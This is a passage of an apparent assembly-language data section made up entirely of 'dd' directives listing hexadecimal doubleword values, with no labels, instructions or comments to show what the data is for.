0E3F3B62Bh, 0AC44409Eh dd 4E7CEA33h, 0CA1F9819h, 916A4A8Fh, 0A53C42A9h, 0EEBA06B8h dd 3A46FA03h, 604E7837h, 7107B3AAh, 0ADF217B2h, 0DBE4363Fh dd 0E2B2EC3Fh, 0FF03F764h, 9FF25ADh, 0C61D977Ch, 73A31660h dd 0DA0E3ABFh, 6AD1DF8Fh, 876ADAFBh, 4D33FF7Ah, 86582178h dd 0F09835BFh, 1651EE6h, 0D24FA78Fh, 1DB06719h, 74D0DAECh dd 75F17327h, 30A4E5C2h, 880AA3E5h, 0C5CA8340h, 74EEECE5h dd 9498CB87h, 7DAE8640h, 184C8645h, 68BF196Fh, 0D1E0B51Dh dd 0AAC602B1h, 0BED1595Fh, 0A2F30819h, 0DCBC48B6h, 0E156A2B6h dd 0C1CD2E2h, 0BBE0953h, 713B2091h, 0AE445240h, 0BA4F3E4h dd 984FCAD4h, 588B754Dh, 0C1ECD980h, 61F96E05h, 32A6BDECh dd 1607903Dh, 611B4DF0h, 3DE0DA44h, 21D1A0A8h, 0A6D03756h dd 0B0633F08h, 31A36044h, 0C0050549h, 6177E1Fh, 0D577FCC8h dd 1F4CA641h, 618287F9h, 35C45B08h, 0EAE94833h, 10900545h dd 852AC9DAh, 6C3394Eh, 92F43F18h, 370A8743h, 4CBD59B3h dd 2D2AF1FBh, 0B1CB8171h, 0C63BB492h, 77B76217h, 0D9BE574h dd 1D13D8C5h, 4105585Eh, 7073BE6Eh, 8148F7E4h, 5837A82Ch dd 64DD631h, 17EF42C8h, 0B453C61h, 0EAD4F34Eh, 8AD206C5h dd 0C86751BCh, 861F3D88h, 13944B96h, 1F5F23E9h, 9D46D1Ch dd 0C601EE3Eh, 79F637FCh, 0F11C320Ch, 2AE1155Eh, 644A0C87h dd 0ABCB832h, 35454A48h, 0A14D6C6h, 325D1Eh, 5B601D22h dd 8E0553CBh, 8E7048FDh, 0DAEF1DBh, 2DFD0E24h, 1F3C07A5h dd 22A02A95h, 8C1DAA8Dh, 80DE156Dh, 0CA7020E6h, 232872ECh dd 0CBD68305h, 561A2619h, 6A09977Bh, 0E9FA9078h, 91F5B222h dd 1F13D861h, 0CC6FC2C6h, 949BC348h, 0F4F0334Fh, 7253683Ah dd 6CC1F1BDh, 2C1272F4h, 0D14030FDh, 0C37806A2h, 0B1E27F68h dd 0C41DB535h, 7F46D58Bh, 0CE189068h, 9173EB34h, 46B7709Eh dd 9FAAA6D4h, 0C2159A64h, 0CDF99636h, 11A7B8C1h, 4A67C016h dd 32096E3Bh, 9F35DB40h, 9CFBC2FDh, 6CCDC285h, 5AC46E00h dd 69AAB78Fh, 7900C9C3h, 6C045248h, 0F1846610h, 332A617Fh dd 24C49816h, 0B008DED0h, 946E0050h, 1282B6CCh, 3CF3BB6Dh dd 0C7003B00h, 2F95B3Dh, 0D336C3DEh, 13DD2B6Ch, 9540EB81h dd 0DE3C21D0h, 94F53D13h, 5607E87Dh, 2053554Ah, 54FF33FBh dd 2F4B940Ch, 6AB5723Fh, 4067F6DDh, 0E5AD7D14h, 0C3CF99E4h dd 1144B1AEh, 9081161h, 65F239Fh, 4B1AF52Bh, 3B26ED4Bh dd 2FF69FD1h, 0A619A3D9h, 547EACA9h, 99805FA2h, 999DE625h dd 0CA96BF1Eh, 73FE94D8h, 0E4B159B4h, 0BD5779C7h, 6D21137Dh dd 0CD6D2F47h, 0D0F15E09h, 0C1A8B89Dh, 4E7FE4EAh, 9796D7B8h dd 11DD1AF8h, 4F36FC4h, 38221992h, 80D8B9A6h, 862DFFFFh dd 6D225470h, 0F6C23E46h, 0C377484h, 49790CB3h, 66C5589Fh dd 69C5D012h, 3943ED38h, 0CE124FDFh, 0E150751h, 0F3A0F694h dd 1105CC26h, 41288C17h, 2A57BFF0h, 383189F9h, 12F7DCCCh dd 4CB43862h, 5585C471h, 0D07D876h, 75A48E5Ah, 0DB0351F9h dd 0C07A3AC7h, 6ECD454Ch, 7F984B66h, 9FAA5BA4h, 0FE2E0B8Ah dd 0CE6C35F5h, 0A9C252BBh, 0AE30A187h, 283777EAh, 33C2E46Eh dd 0F51076B3h, 48DCD957h, 729D690Bh, 0B8060496h, 4CA67A1Dh dd 68EBC476h, 0C55C04B4h, 631A50A2h, 8E277166h, 9BA42500h dd 0F4B8A0C9h, 253CD6F8h, 0A777BF17h, 58603950h, 12CF194Dh dd 3E0E4AB6h, 0AE4D37EAh, 96D73CBEh, 0CA95C0Eh, 4B44200Eh dd 5D0FC4A2h, 7BB9B02h dd 7605E400h, 830F4A86h, 36643E2h, 9F620299h, 403CB10Eh dd 0CC4FF7CFh, 3F3697ACh, 241D8FC6h, 0B162ACADh, 45099E3Ah dd 913A0C7Fh, 710AD98h, 0FBDBF533h, 89568F8Bh, 0ED48CEFFh dd 92DFDD63h, 1535FD87h, 0ED82C67Ah, 0EEA37E20h, 0EA7CABBCh dd 0EAEB2EDDh, 45289BF2h, 64A5B74Ch, 0CEC3426Fh, 0B79A88D5h dd 8C0934D4h, 1DE8BBD1h, 0FBBDE5A5h, 30852C7Bh, 692FD16Dh dd 5313A9EFh, 0C485527h, 19236B68h, 8F34F54h, 0CAAD9389h dd 815072B8h, 0D5C969B0h, 0C8183060h, 245211ABh, 0A23D6DA8h dd 13688F4Ch, 0CEE86A4Ch, 0A2294B98h, 14DD960h, 4B53E9F4h dd 569E44EDh, 0ABA37708h, 0B22ED877h, 65AB17DDh, 0B364788Fh dd 3715F201h, 0C63C49Bh, 18E4D245h, 2690EFC1h, 385AE5E7h dd 0AB5C2689h, 0C1C2F612h, 46F16CBh, 27B12788h, 5AF5242Dh dd 0CDADF386h, 0B95A0D25h, 974B2BEBh, 3BC4E4B6h, 83A98409h dd 0ED1DAF4Fh, 6B7E4841h, 0B393272Bh, 70F0EF91h, 0DFD0092Eh dd 0D8FBABD7h, 20679561h, 36574DE4h, 11436FBFh, 48C613Fh dd 0C2368429h, 6B031AEDh, 7AEA79A6h, 9D7DE228h, 12E5BC2Dh dd 1F986F8Ah, 1F06F703h, 1C3429F6h, 77D59CFFh, 0F8863DF1h dd 0C4EFC23Ch, 3CFDA8DEh, 0A0C6688Ch, 0BAD982DEh, 3F5AD609h dd 85B35CCDh, 382E1478h, 8D57D3F4h, 0D7B030DFh, 2DF03A1Dh dd 30869EE3h, 0B01111ACh, 0DAE2157Ch, 6449199Dh, 5A5F24EDh dd 0F01E15D0h, 2886C37Eh, 3D4FE52Fh, 0FD284EC2h, 0D238C0Eh dd 0AE9FE439h, 0C8E1C167h, 419D6B3Bh, 7AC94C05h, 6C9C7874h dd 18DD25CBh, 0AFA83FD6h, 84ADBF05h, 0D0C59E5Eh, 0A7F33A29h dd 2BEFA179h, 0EBD8214h, 63BA5C1Eh, 17EFC4E8h, 2A30B53Bh dd 29202C67h, 41089A31h, 37B2677Ch, 2F1744B0h, 6A2164Fh dd 0F4950C0Fh, 3C80A952h, 0C5D6E6CAh, 9D0F3E0Ch, 0FF86AFFBh dd 457E588Dh, 6C799139h, 644CF874h, 408F2316h, 0CFE58863h dd 0FBFA031Dh, 0CCE3D395h, 0EF4CD371h, 0B953BFCAh, 3B5348FCh dd 357E4316h, 80DC1057h, 0B3C54A0Ch, 40B3AFFFh, 23B89EC3h dd 0D6C22A5Ah, 0B6BA7C43h, 182BDCB9h, 77963737h, 38192573h dd 3D46F2DBh, 0D635FEDBh, 0E5162ACBh, 1F2818F3h, 79ED620Fh dd 2E84CCh, 7D518D0Ch, 310E87ABh, 0C8892DDDh, 4EDB3600h dd 0D32ADB3Eh, 0C5CE71C0h, 1E3D8922h, 0ADDAEA67h, 533597F3h dd 3177F526h, 0A880CEA8h, 8A00F0B5h, 0A2878F93h, 0D8EE2816h dd 0FE891DF2h, 0FE2C452Fh, 1882B06Dh, 1560FE1Dh, 0B5D5C540h dd 0F8F15EEBh, 0FB9CDEB1h, 0C3E4C39h, 62F3BDE8h, 0E5C6814Fh dd 23AD27F3h, 0B90B622h, 3BF893CAh, 6A588BF1h, 0EBA464D5h dd 1EC2471Bh, 4D413ACBh, 203F8CA3h, 0A5CD4CB3h, 8DEFC6ACh dd 5E0750F6h, 0FA6E81A1h, 837B40D7h, 7B320C8Fh, 0CE8BB027h dd 39B26E7Fh, 44274A6h, 24252A17h, 0EED7BBB8h, 0F1EDE699h dd 7AE092EBh, 81D9C370h, 8F80A3D7h, 0FD75E9BFh, 0A6337369h dd 5110820Ch, 93EF7400h, 13F30726h, 34BE77A4h, 4F2041C5h dd 0C1AA0BF7h, 588BC400h, 0D45D2957h, 0AE21F8C2h, 17871CACh dd 0A1849C0Fh, 5B98527Eh, 7146AF92h, 0F45B854Ah, 0E4ED3E08h dd 95F10ED9h, 0C86DA7DEh, 0A3A62D07h, 1FE3CFE1h, 34640345h dd 0A2831766h, 8B5E9E37h, 0EB4CD4A0h, 209FBB68h, 69B40069h dd 8EAC85BCh, 0DEE3A9E6h, 60A08623h, 0A587685Ch, 2455EC43h dd 7CEFB39Bh, 0F9CA32ABh, 0BC54FD90h, 7E6B91B9h, 0E0FFE96Fh dd 2CC32576h, 4D9FC6C4h, 291F5912h, 347004A9h, 0DDD67C40h dd 4FB4D18Eh, 9B41975Fh, 0C7C4068Dh, 0C2F1BD2h, 9CBADE27h dd 0F31D5F90h, 3153CCC4h, 623BF039h, 19141C37h, 0E1B5D9BDh dd 0F43013A3h, 947D0C09h, 56ABF37Dh, 93AAED84h, 53669E0Ch dd 8286AF5Fh, 504F5764h, 1010F650h, 466C7364h, 772B4AF3h dd 14C3536Dh, 0F6FDF81Fh, 0A0DD84EAh, 0CA7EB306h, 98D8A627h dd 534A5093h, 26E4121Ah, 0C1A45D10h, 0E66E17C4h, 93D95B6h dd 0BA9A50D7h, 3468AD2Bh, 0BA59A343h, 8CBCEB5Bh, 7C54625Ah dd 0FE286F3Eh, 0FF21AE68h, 0A471791Eh, 0D2264C2Bh, 7A1D6402h dd 3A21AD6Ah, 7B01EFBBh, 5780B4CDh, 0B0A1A222h, 6D15157Bh dd 0CC0891D5h, 1703DF35h, 2065D6Bh, 0D074CED6h, 9C3AD909h dd 745643B5h, 3917264Ah, 158FA141h, 23B8072Dh, 67BB2D6Eh dd 0FC75BF0Fh, 0E2AED331h, 0E8DC2295h, 0C9D9F477h, 13251EE7h dd 0D0B00E4h, 5F6C6D4Dh, 5545914Eh, 73A564A7h, 58176D03h dd 23A92076h, 0C3D55599h, 33FF5D17h, 0A847FE28h, 2411F828h dd 2DCA2FC9h, 0D6D24A9Eh, 82D00686h, 12CDA72Eh, 7642D45Dh dd 93100EFCh, 92FD1DAAh, 5829907Ah, 87F897E4h, 7ABF4D1Eh dd 511DBD79h, 0D79F5C92h, 0C1A14A4Bh, 0DF7F9061h, 5B69CA81h dd 0DB33FC1Bh, 723D3881h, 573CC12Eh, 5055A9AAh, 69618EE0h dd 3464B46h, 98062757h, 7F935585h, 70DD0DF7h, 0E3B19D9Ch dd 5B7F3DBDh, 89B8F340h, 0EB5C893Eh, 0BB9403CAh, 3191CE7h dd 27606EE7h, 0DE0654F4h, 8C5C9D6h, 56503E8Ah, 690DAA5h dd 0CC1DF2C1h, 626E4F27h, 0F76887h, 0FF76C0B5h, 8FD53628h dd 4BB09B0Dh, 0FDDE07C9h, 7F757956h, 0E32C2944h, 0E395B440h dd 63554DFCh, 79E5FC8Bh, 6C1D6697h, 0FA352C2Ah, 6115B313h dd 4E787068h, 2089E0A3h, 0A2C48025h, 4EBAFE76h, 3B8611Eh dd 2A564E0h, 98F3F41Ah, 3446BA24h, 5A3A4107h, 0E48A9FE4h dd 0C90DD01Ch, 2AB823F8h, 5A4448ADh, 0D8FA4B85h, 0E006D6BCh dd 7FB7327Fh, 0E117F740h, 1FE4B979h, 20F60400h, 0BABFDAB2h dd 67965350h, 0DA99FB4Ah, 0B84C3EDAh, 0AE13CD30h, 57ED679Ch dd 12440B57h, 77BDDC98h, 0C3C0603Ch, 0A23602E1h, 8B290E4Ah dd 12EACB38h, 0B37645B4h, 9FDCA9CCh, 118A4903h, 0E724B3C1h dd 52D8522Fh, 0CC36E108h, 0B4032CF4h, 1F68B5C9h, 3C25A762h dd 0BEC8FAC2h, 0E661EA8Ah, 5C4FF42Bh, 2C8787A8h, 7450E009h dd 7635E1B9h, 7914C503h, 0DBC37E3Ah, 0B020CCCEh, 65A1DC32h dd 862493C6h, 62078F9Ah, 32D6A012h, 3951CEA2h, 6B45F533h dd 0DB067CF3h, 15CDCC16h, 0FA8D589Eh, 0E4E2D5D3h, 0C5C8309Ch dd 3DEC636Bh, 601C0536h, 4436E221h, 304E38AEh, 7886920Bh dd 0FE1F09A1h, 0E9EE2607h, 8C5021A6h, 9B2F05DCh, 0DCE971AAh dd 8D4199F3h, 0A8EF4427h, 64767F5h, 1FF913CFh, 0FDD4A826h dd 8326BF4h, 0E92C334Ah, 3F84B20Eh, 1A624512h, 5C35A4D1h dd 50C44EACh, 5DEF5006h, 0B1249368h, 5F5BA1B5h, 0E5CE93FDh dd 7130AEF2h, 0EABD05FCh, 0C37C0C29h, 48D435CFh, 0C80A5100h dd 81B6B8D6h, 238E910Ch, 371BC939h, 5C047F9Eh, 0C60EBB06h dd 0A707F14Dh, 55A75C02h, 2762642Fh, 453EB3E5h, 0BE52E590h dd 0D0B3E281h, 0DE53C01Fh, 0C128D0D3h, 2E616CA8h, 71734DDAh dd 92E9FE64h, 0C25925D7h, 0FC7F3521h, 0C1F001D7h, 0D56FC5ADh dd 0F47D51F1h, 87A0FA04h, 7E5220B7h, 0BBCC6755h, 2FB4A0AFh dd 2331D2D3h, 0A7071D27h, 3C7BE3D6h, 53444D46h, 0DD6148F2h dd 49404A0Ah, 7C6F46ECh, 0FEB3F112h, 2BEA6F34h, 4921C0Ah dd 108AAA87h, 7621DC03h, 904829E1h, 4A888970h, 350B9F75h dd 7C649E32h, 7798799Bh, 76F13050h, 95E1636Fh, 0A557A828h dd 2ACE6C6h, 8D792B32h, 0AFF01FADh, 0A91F141Ah, 448FD4FFh dd 0D7E21E24h, 2F45952Ch, 70A2C78Ch, 7FD01FA6h, 9B7C71A0h dd 27818165h, 0E189DB7Eh dd 0C43034h, 6065B1D9h, 914C9806h, 2E274230h, 94A0017Eh dd 0C8A43B98h, 0B32E5FBCh, 3134935h, 0E40B93F6h, 9E62C57h dd 3A5D86E0h, 3D45CA6Eh, 8D1F870Ah, 64A418C2h, 45B30C19h dd 82704995h, 37B70EF1h, 0F49ED8E5h, 5222258Fh, 0B91F9B1Ch dd 0B29B9331h, 0B6A23DE0h, 648BE71Fh, 0A951395h, 7E2316E6h dd 6203EAC0h, 27C71161h, 9AA60454h, 66B5F9DFh, 0DAAAE02Ah dd 0B0C0A925h, 62FE1136h, 3CA9FCFDh, 0A1062ACFh, 7EE06C4Ah dd 1562F715h, 5C2C6BB5h, 0E4E57DA5h, 41AC0983h, 0F993B428h dd 41DC8F04h, 3CAA1249h, 3BCC055Eh, 0C4D9D9D8h, 0E15FC8D1h dd 3CCB4CA5h, 296B4807h, 11F68F74h, 63D75CCCh, 25848A17h dd 0BC4D97DCh, 0D842623Eh, 6D8BB2CEh, 24C4B952h, 0BEB602D3h dd 2C70F1FAh, 0E838797Ah, 8154FD3Ch, 49EA6C32h, 3222A19Bh dd 0DDC00D0Fh, 0F105F6C5h, 375FAA82h, 94B4021Ch, 533EE26Fh dd 0CF73C07Dh, 9AE20752h, 1C83A68Ah, 0BA0F3542h, 74EFCCA7h dd 2C051AF8h, 35E3F4B4h, 0BAE0765Ah, 3A49FD3Ch, 1B2FB74h dd 0FE24768Dh, 91A319C7h, 309483FBh, 412A9212h, 505D6C05h dd 0E5AC9F69h, 88DB4054h, 0F0E6C45Dh, 1CE1A081h, 1251AE4Bh dd 4F1EE721h, 3FCFB874h, 3A5DE88Eh, 5AF62203h, 7CB35E4Fh dd 0AECA4852h, 0E6F6527Bh, 86414243h, 433B7D7Bh, 0DD3A00E7h dd 0A7EC3269h, 5B157F74h, 0DD2D5623h, 0D83083ABh, 0CE29AA6Bh dd 87E4DF5h, 0E853544Dh, 0F65245F9h, 55521918h, 757B6920h dd 0A6B93D2Ch, 0EEAA6DD3h, 0CEFF2066h, 4C49C7D6h, 6D08C43Bh dd 0D28CF48Ah, 41383AF1h, 0FA2E34D7h, 9128CDACh, 3A1A670Ah dd 1A7A225Bh, 0E8A12530h, 0EC18DA0Ch, 0ACF1450Bh, 929F44B7h dd 9C8A4D97h, 0BE3FB4A0h, 5BD0625h, 3701F960h, 6EA76C93h dd 0DC7C8EF7h, 0BBD76763h, 0BA5115C7h, 0D95DDF8Eh, 31239B67h dd 0AA27B9A0h, 89AE7289h, 217145A0h, 90B5787Bh, 0F7400C33h dd 0CC9297A0h, 0BEFD71ADh, 5504B58Eh, 0D9B54EEEh, 0E8A736DDh dd 0E57F5715h, 0CD8DFB3Fh, 9E55D155h, 0D4B1EF64h, 99F5B7DAh dd 93A857BBh, 2EBB64C9h, 0B3C59A3Ch, 35FE17A5h, 55DEC589h dd 61D930AFh, 3A5FC1D0h, 50B07302h, 0C1A75206h, 45674C10h dd 0F68A7C6Eh, 71A8FFA0h, 0D660F29h, 29E863CFh, 0B145C374h dd 0BB981264h, 0A68356h, 99661A21h, 0EDD153D4h, 14C3F5CCh dd 1F6021F4h, 597CE67h, 0D1965CBCh, 20591697h, 565B112Eh dd 9788369Ch, 0BDA7CAD2h, 0E5B5C2h, 12CAF1A1h, 0C940CEA4h dd 0A8820381h, 8DF5FB39h, 0F59B645Ah, 64CC5C61h, 0CDDAD2Eh dd 0DA11E394h, 228CEC9Bh, 0C66B260h, 690BC2B0h, 0D31D0821h dd 0F77AE692h, 0F6D3FB05h, 0E996A9C0h, 0F8626696h, 2C108BDBh dd 0E56258A4h, 0F3DA20Fh, 0F1FB72A9h, 0B9EC3E3Bh, 6AD8CCE5h dd 1C389FCCh, 9E66083h, 543D4DD6h, 0C15DB78Fh, 0B733C143h dd 0B920C454h, 0AD5B0DB8h, 5B7F538Ah, 36F0555Fh, 0C3A3C923h dd 829DE683h, 0F9771C1Dh, 0CFE21EC6h, 7DF2DA71h, 37B692D9h dd 6EFF184Dh, 36BAC14Ch, 11375068h, 40F224D4h, 0DBCAD3BCh dd 725F6153h, 0D4175812h, 0A21FFDD5h, 49C3B538h, 5AEC7F5Ch dd 42306FACh, 4B88D145h, 34DF0F92h, 6EE07600h, 420828Dh dd 2C926F78h, 13F54CA2h, 0D008A702h, 146C1C2Fh, 0BCA22718h dd 0AC9F698Ah, 94797A54h, 71C4C238h, 88780520h, 18663FDEh dd 39CDAEA9h, 0FBF394EDh, 0FCD5AC52h, 0FC621BF4h, 0BEF0ABF5h dd 4353F4FCh, 0ECCD7063h, 4D5BC70Fh, 0C6E30C16h, 96D0E1EAh dd 55BC8844h, 2A1D11E7h, 0D2F5FB0Fh, 0FA42774Bh, 0DC0605BCh dd 976E3EFDh, 0F0D9EA9Ah, 0F7E337FCh, 0CBBD9121h, 0F129611Ch dd 27E6108Ch, 5367710Ch, 4A7CCFEBh, 888D86E4h, 71599D2Eh dd 161225h, 0C417DDDBh, 9DB83DDBh, 1FFEDAD4h, 87496989h dd 8D508AEDh, 861A8C44h, 0B846576h, 0D5B5831Bh, 50BB0438h dd 885642F4h, 7074777h, 6CBA36C3h, 0D0B143F2h, 7599AF30h dd 81F9896Fh, 27D323C0h, 58F29C4h, 8E38F3D9h, 0CA651495h dd 0C045538Ch, 27C4C206h, 0D9501B20h, 607C2C8Bh, 37833DD6h dd 0A2AC8DC8h, 2077F806h, 0CED7EDFAh, 0B5AE6C1Ah, 12F57552h dd 0B534D2Bh, 7799C703h, 8DFB9FBFh, 7DB51B7Ch, 0C895235Dh dd 21480F88h, 0BA42E7AAh, 879AAF34h, 0D3CB7900h, 39661293h dd 50E0E0AEh, 0C2833AEh, 10415EE4h, 0EA6C4C26h, 405272AFh dd 1D1ADDEAh, 3F2B4C1Ah, 7E6511E6h, 218461D2h, 735F7B95h dd 0C34666E6h, 283BD6DFh, 2AF4BB50h, 0D59EE83Dh, 0A973B9CBh dd 32CDD39Ch, 6FB898A9h, 2924DB9Eh, 21853873h, 0D653A97Ch dd 6911A1E4h, 5327173Ah, 0F3CA9D8Dh, 91A4A5F5h, 48C84BF2h dd 0FB309ABCh, 406FD66Ah, 6DB333EAh, 0E372E19Dh, 1E44032Fh dd 4141380Ch, 413AF2ACh, 30B28C3Bh, 0E33AC431h, 14337DD1h dd 0C0C9480Fh, 1DCBDE7Ch, 513925EFh, 4516A6A7h, 572E0563h dd 50171D50h, 0B73D04FCh, 3C311E59h, 8F304EBBh, 0A84C8F0Fh dd 262AD72Bh, 0B5B17D97h, 275441ADh, 448ED7C2h, 0B2AEDB4Dh dd 451C888h, 0CD126851h, 0C3E3FB55h, 5DE49E91h, 0C36317AEh dd 758305B8h, 9A45D2BFh, 0D7F320C8h, 53668CCAh, 7020E202h dd 3C6BBA21h, 0B08A1746h, 0B13E5BF6h, 0E015FEB8h, 7F07E184h dd 51BE1EC1h, 77C7C2EFh, 0BD3446F2h, 0F4CFF495h, 52CA1BB7h dd 1DFE737Fh, 0B4484FD5h, 0CBED41A6h, 5411A34Dh, 0B3E45D34h dd 69D2FB68h, 38F76690h, 0ED56F771h, 9590A6FCh, 14DDA0A0h dd 9BF8BD37h, 0A0174339h, 357AE869h, 0EB4707E9h, 0FB3DD93Ch dd 0CDC30C70h, 7814F3AAh, 486C7486h, 85B9F809h, 651A3182h dd 0B68C36E0h, 5C0D8F73h, 0E521DEFh, 91D2F252h, 471A8F83h dd 50693E31h, 59D420E2h, 55358245h, 0B21219A8h, 988A7CCDh dd 0AE3A3D96h, 4AE742EFh, 22A0DD43h, 0ED22A71Eh, 9EAA2F1Fh dd 0C68798Dh, 0B827BD5Eh, 7D746099h, 0DD904717h, 0FD9BFDF5h dd 5CE5691Dh, 3D6315A2h, 0CE35448Ah, 827CF6Ah, 0BFD678EAh dd 0C5FD61E7h, 4CA05732h, 0F9D8DE6h, 978B7B78h, 0B41A6AB4h dd 705B9B70h, 5CF20319h, 0C02C07D4h, 90D80DB5h, 643ED37Dh dd 0ABD03259h, 45D84h, 6E06088Dh, 7EB0D0D6h, 1031A2BEh dd 6CA30573h, 9CEE7850h, 76F9E36Bh, 94C7AF4Fh, 258DE24Bh dd 63E83B73h, 0CEB377FDh, 0D19AF090h, 574333C3h, 0CA958262h dd 95FFE7B8h, 3193ECD8h, 6AA0AA81h, 0EC8ABB09h, 4BEF8A66h dd 4ADA492h, 0C0BF671h, 7DE7CDB4h, 29E7F362h, 0BCEC0B48h dd 8586027Dh, 697F92D2h, 141D7A46h, 0FFFE66DBh, 2672B2E2h dd 7EE2302Eh, 0F33D8456h, 0F880E525h, 0C8DD561Dh, 0D8E48E15h dd 0A05EBC17h, 0BCAF3CE4h, 708EAFD5h, 8A6C6A2Dh, 6C53EF28h dd 0E162D725h, 0EFA88621h, 69573399h, 584C49EBh, 0EC978FE7h dd 4819FB6Dh, 0C97FF6C6h, 24FB7579h, 0A8B82BB8h, 0F1A8B4A9h dd 0C4F66F22h, 918BF51h, 0FFD7E895h, 0BE107EA0h, 0A5D4565h dd 1BEB0BA5h, 1ED5324h, 982B16DAh, 406B3784h, 0D57F1D49h dd 0FF44E1ABh, 46003BB0h, 6F0B9C96h, 468F4F22h, 0BA8315CDh dd 0BE83C899h, 0F8045A49h, 0FD5D923Ch, 28115D4Ah, 5A840DC1h dd 4838BAAFh, 98D2ED5Fh, 0A7133720h, 0CBC78E5Ch, 0EF234F3Eh dd 6E9145DDh, 1E5BF245h, 0ABD02AEFh, 5724FD66h, 20194C0Ah dd 8E0E5D1Eh, 0E64C5A49h, 1C6FC113h, 0EE5841EDh, 0AF612A7Fh dd 82CC787Eh, 6F0FAF91h dd 0E454137Ch, 9226B4BDh, 0FC4788D0h, 4A39D459h, 314FB6FEh dd 9DD9CF7Fh, 0B5F06032h, 3A503EC6h, 8B84905Bh, 54288773h dd 0D574DAD0h, 879862E0h, 0A4C92A07h, 64AB9B54h, 9AEA0175h dd 19172DF5h, 6B2B2B9Dh, 5E0AF7EBh, 6860CEC4h, 0D353C3E7h dd 0DA1011Fh, 239AE14Eh, 74C534C7h, 12C432DEh, 0D74EFCDBh dd 0AB77DBD5h, 0B1C8251Bh, 0BBDAE32Ah, 0F2336FEEh, 0D964CF8Fh dd 0E817F877h, 9D992CC7h, 1FF8970Bh, 100A757Fh, 1FCE413Eh dd 0C9E44067h, 0E053F1F8h, 4659FC75h, 47A098C3h, 0FF796A26h dd 0AAF6BD0Ah, 4F5A22F6h, 0D26B6FB2h, 0C6860036h, 3D4C7C56h dd 0B8EE6B03h, 92C35416h, 0EAB5B3F4h, 4EF5D27Eh, 0B11AE13Fh dd 50C3C2A5h, 4F07761h, 4CE31575h, 0A97D4208h, 0ED54CE2Eh dd 0F7029469h, 1D041249h, 5EE186BAh, 9D94D254h, 45899037h dd 0FAB8CCBAh, 9C2BF747h, 66F1831Bh, 2DE040Fh, 199C91E8h dd 0B06BE770h, 0B33F269Fh, 875B4FA5h, 0C2D0413Eh, 0AE6C26Bh dd 60E5BA7Dh, 90B9BE5Fh, 0DD56EA11h, 0CDA35CC9h, 2C63C324h dd 24442BE6h, 0EAB2EED6h, 6037446Ah, 19B624C2h, 957403FEh dd 9E45E527h, 0A29A1205h, 0FF27C631h, 0B99ACE3Eh, 0A7623D18h dd 0ECB2205Ch, 892DDCF1h, 0C435FC74h, 0A213FBB4h, 0AB74F9A2h dd 4E18358Eh, 86B1999h, 1FD02F25h, 0AB01AAEFh, 0F43AF2DFh dd 7788835Bh, 9FFDE901h, 0D3B78295h, 64B47A75h, 0FFEA83Fh dd 21402C91h, 64D73055h, 8CD36A20h, 0F777E0EAh, 0B54D6B36h dd 0CC5D50C8h, 53FD90A4h, 85CDA588h, 0EA2BA55h, 1DE09F0Bh dd 0E8B357E2h, 6A9E88CAh, 6B5E9DD8h, 78A3D266h, 0FEB985E1h dd 28970EFh, 5D85B736h, 60DED075h, 51ECFFA4h, 9C0EDCF8h dd 0CD528EBh, 0D3405BDAh, 0DAE6E364h, 3615A108h, 57C37225h dd 0FAF8898Fh, 0D35B0951h, 0AD06FEE5h, 0F05A521Ch, 0FF7BD73h dd 3E66F325h, 0EEBE1A56h, 0BB5476F4h, 391E080Eh, 5965B9FCh dd 9998D89Bh, 0EE225CF4h, 78F2313h, 0BAC52C45h, 0BA6BFD00h dd 10BECCECh, 326615F1h, 0DF2E2DACh, 0C6B610E4h, 0DD2D41C4h dd 0F415E87Bh, 0ABA85ADAh, 2EC06EB3h, 0E4EEC751h, 0C741221Dh dd 10A2B11h, 684E8B15h, 31E82A18h, 0D08207A0h, 8B57F9DFh dd 2A60F7DBh, 377EBCD8h, 0CEAA0034h, 59B8F9DDh, 0B2B2CB8Fh dd 9443B97Ch, 0E982E03Ch, 0D6264AA0h, 0C0D82E1h, 382B0FFFh dd 0F832A28Ch, 0A485068h, 99D2F421h, 0B916C89Bh, 1AAB87C9h dd 0F6F8B450h, 52C54BC4h, 0A3E87631h, 0BCC5C04h, 743B7136h dd 0E35E835Dh, 79D4F92h, 448B26D2h, 0DE2623AAh, 0D9A50FF2h dd 0FF0B1D98h, 51897A90h, 0C09CC5A5h, 6AD8422Eh, 8788B74Dh dd 0F31D23C0h, 4AAAB408h, 44A5579Fh, 0D70A3E8Eh, 9B231458h dd 30133002h, 702D541Bh, 3809BD50h, 2D82478h, 88FBC653h dd 0EF3C65A1h, 0BA1B0C68h, 0AF1AF767h, 7BA6F48Ah, 3974FAD0h dd 19E06F1h, 61B7743Ch, 363B46A7h, 0C9BE53D0h, 2670A30Dh dd 0DDB017BBh, 0B0C216D7h, 63392C5h, 825C372Fh, 0E905AC1Eh dd 0FD52D37Eh, 0A5E4AB58h, 8F117964h, 901D588Ch, 0AF8C9EEEh dd 7A4C101Eh, 6A9B51F5h, 44E6B7ADh, 24A92078h, 0EDF04646h dd 0CADB47EBh, 0B3C1C863h, 0CB1295FDh, 45D641B2h, 1AD729B5h dd 0E8F4F337h, 42D86C6Ah, 9A5378B5h, 429E1B25h, 0C45A4AD3h dd 0A3C39EC3h, 0B07801C5h, 897276Ch, 0D003370Ch, 0C496172Eh dd 0EB2A1D31h, 0DC763B50h, 0E1FCAAD8h, 6EC99ACBh, 0D5400065h dd 6FC34402h, 4D8C5675h, 0DE7174B8h, 0BFB86A6Bh, 79C881C8h dd 8F8EC3BEh, 5315E8A8h, 0D7C90F4Bh, 68C4A959h, 0A5C7B76Ah dd 23BAAFA7h, 93032BE4h, 19F74688h, 28C2AAEh, 0E56B6012h dd 88383A15h, 6B9576A8h, 7B87442Fh, 0D1F29B3Dh, 5B7D1E5Dh dd 0EBCFB35Dh, 0F207598Fh, 0A9F24B3Bh, 1EEBDFA7h, 0BBB0899Ah dd 0FD6D9D4Bh, 20BD9A6h, 0AAB40D78h, 1A2C1F86h, 4ECD473Ah dd 3D2C63F8h, 0B5943E8Bh, 20EF6C89h, 0AC24F793h, 84887C0Ah dd 97EECF73h, 0E8132790h, 29900004h, 276C464Eh, 930D4579h dd 55980D6Fh, 135AA024h, 4BE828B9h, 64BCFB9Ah, 7DCE4243h dd 0C68CDD9Ah, 87D98166h, 4D5D40FEh, 0A7E3998Dh, 0BCA93A11h dd 4BAF66FAh, 62E7E861h, 50C1BBEDh, 150B52C2h, 1E668951h dd 0B52A97D5h, 47B4732h, 4AC4263Dh, 130D0216h, 0D24A6BE4h dd 0B9F8CDAAh, 94B35D90h, 0EF118AFBh, 0E9BCFD8h, 58CC58B2h dd 0B7EDF007h, 0C4DF1C67h, 0A25F8F8Eh, 0A6C381CEh, 1E416EBAh dd 0E9820DBBh, 